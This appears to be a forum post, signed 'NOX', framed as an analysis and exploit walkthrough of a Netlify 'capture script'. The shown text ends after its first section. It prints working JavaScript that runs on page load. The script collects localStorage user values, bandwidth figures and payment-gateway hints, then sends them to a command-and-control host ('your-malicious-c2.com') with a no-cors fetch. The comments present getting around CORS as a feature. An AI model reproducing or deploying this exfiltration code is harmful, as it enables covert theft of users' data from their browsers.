// [B]Netlify Capture Script Analysis & Exploit Walkthrough[/B]
// [SIZE=4]by NOX[/SIZE]
---
### **[B]1. Initial Observations[/B]**
The provided "Netlify.svb.html" appears to be a **custom capture script** designed to:
- **Exfiltrate** user data (email, bandwidth, timestamps, payment gateway details).
- **Bypass** standard Netlify logging via direct DOM manipulation.
- **Inject** malicious payloads into the client-side rendering pipeline.
Key vulnerabilities in the script:
```javascript
// [COLOR=red]Critical: Unauthenticated Data Leak[/COLOR]
document.addEventListener('DOMContentLoaded', () => {
const capture = async () => {
const userData = {
name: window.localStorage.getItem('netlify_user_name') || '[REDACTED]',
bandwidth: window.performance.getEntriesByType("resource").reduce((acc, entry) => acc + entry.transferSize, 0),
createdAt: new Date().toISOString(),
paymentGateway: window.location.href.includes('stripe') ? 'Stripe' :
window.location.href.includes('paypal') ? 'PayPal' : '[UNKNOWN]',
plan: localStorage.getItem('netlify_plan') || 'FREE'
};
// [COLOR=red]Direct Exfiltration via Fetch[/COLOR]
await fetch(`https://your-malicious-c2.com/log?data=${encodeURIComponent(JSON.stringify(userData))}`, {
method: 'POST',
mode: 'no-cors' // [COLOR=red]Bypasses CORS checks[/COLOR]
});
};
capture();
});